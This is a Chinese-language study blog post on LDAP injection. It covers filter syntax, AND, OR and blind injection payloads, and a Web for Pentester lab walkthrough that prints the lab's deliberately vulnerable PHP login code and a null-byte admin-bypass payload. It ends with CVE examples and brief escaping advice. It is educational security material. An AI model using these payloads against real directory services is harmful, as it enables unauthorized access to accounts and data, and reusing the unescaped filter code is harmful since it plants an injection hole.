LDAP注入学习小记
0x00 前言
从公司的漏洞手册了解到LDAP注入,于是有了这篇学习博客
0x01 LDAP概述
1.什么是LDAP
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议。LDAP主要用于目录中资源的搜索和查询,是X.500的一种简便的实现。
简单来说,可以理解为LDAP是某种搜索协议,就像我们熟知的数据库一样,我们利用SQL语句进行查询数据库中的数据。而LDAP也有一套自己的查询语句,来进行查询。
但是LDAP和数据库还是有区别的,LDAP并没有数据库那么复杂,可以将LDAP理解为适合读的数据库,
2.LDAP基本语法
LDAP查询数据是通过过滤器来查询,需要注意的是,在OpenLDAP中,第二个过滤器会被忽略,只有第一个会被执行,那么类似上面的这种注入就可以成功的。
(&(attribute=value)(injected_filter)) (second_filter)
注释符:%00
0x02 LDAP注入
1.and注入
(&(parameter1=value1)(parameter2=value2))
假设这里有一个登录模块,输入用户名和密码后,系统生成过滤器查询数据是否存在
filter:
(&(username=uname)(password=passwd))
我们输入payload:
hacker)(&))
此时的filter为
(&(username=Quan)(&))(password=passwd))
LDAP服务器只查询第一个过滤器,又因为(&(username=hacker)(&))恒为真,所以就可以绕过密码登录系统。
2.or注入
(|(parameter1=value1)(parameter2=value2))
假设有一个系统,现在需要通过选择两种资源来查询
filter格式
(|(type=Rsc1)(type=Rsc2))
可以查询系统中所有打印机和扫描器
利用如下payload可以查询所有打印机和其对应用户
Rsc1=printer)(uid=*)
最终filter:
(|(type=printer)(uid=*))(type=scanner))
只查询filter1
3.blind注入
DAP盲注技术让攻击者使用基于TRUE/FALSE的技术访问所有的信息。
查询正确就返回结果,查询错误则不会返回错误信息
(1)and blind
原本过滤器:
(&(objectClass=printer)(type=Epson*))
查询所有打印机payload:
*)(objectClass=*))(&(objectClass=void
最终filter:
(&(objectclass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))
所以就对第一个过滤器(&(objectclass=*)(objectClass=*))
进行查询,恒为真,返回所有打印机图标
也可用*)(objectClass=users))(&(objectClass=foo
查询想要的信息
(2)or blind
用于推测想要的信息的逻辑与AND是相反的
原本filter
(|(objectClass=void)(type=Epson*))
payload:
void)(objectClass=users))(&(objectClass=void
查询用户信息
0x03 LDAP靶场练习
这里我们采用web for pentester靶场进行练习。
下载后得到一个镜像,新建虚拟机然后nextnext即可
Example1
删掉username和password参数
这里利用的是LDAP进行匿名访问,原理可参考
于是返回AUTHENTICATED
Example2
构造payload:
name=admin)(cn=*))%00&password=hacker
%00注释掉后面的参数
源码分析:
<?php
require "../header.php" ;
$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
if ($ld) {
$lb = @ldap_bind($ld, "cn=admin,dc=pentesterlab,dc=com", "pentesterlab");
if ($lb) {
$pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
$filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
if (!($search=@ldap_search($ld, "ou=people,dc=pentesterlab,dc=com", $filter))) {
echo("Unable to search ldap server<br>");
echo("msg:'".ldap_error($ld)."'</br>");
} else {
$number_returned = ldap_count_entries($ld,$search);
$info = ldap_get_entries($ld, $search);
if ($info["count"] < 1) {
//NOK
echo "UNAUTHENTICATED";
}
else {
echo "AUTHENTICATED as";
echo(" ".htmlentities($info[0]['uid'][0]));
}
}
}
}
require "../footer.php" ;
?>
重点看一下filter
$filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
可以看到用户名的参数名为cn
构造恒为真条件:admin)(cn=*)
再闭合第一个filter:admin)(cn=*))
最后注释掉密码:admin)(cn=*)%00
此时生成的filter:(&(cn=admin)(cn=*))%00(userPassword=hacker))
只处理(&(cn=admin)(cn=*))
,且恒为真,直接绕过密码认证为admin
0x04 漏洞案例
南方周末LDAP匿名访问泄露敏感信息
https://shuimugan.com/bug/view?bug_no=131421
ortiGate FortiOS < 6.0.3 - LDAP Credential Disclosure (CVE-2018-13374)
Joomla! 3.7.5 LDAP injection vulnerability(CVE-2017-14596)
0x05 防御方法
主要是对输入的字符进行转义
0x06 LDAP工具
LDAPbrowser
在测试站点存在LDAP注入后可利用LDAPbrowser查看所有数据。
0x07 参考
https://www.freebuf.com/news/170322.html
https://www.jianshu.com/p/d94673be9ed0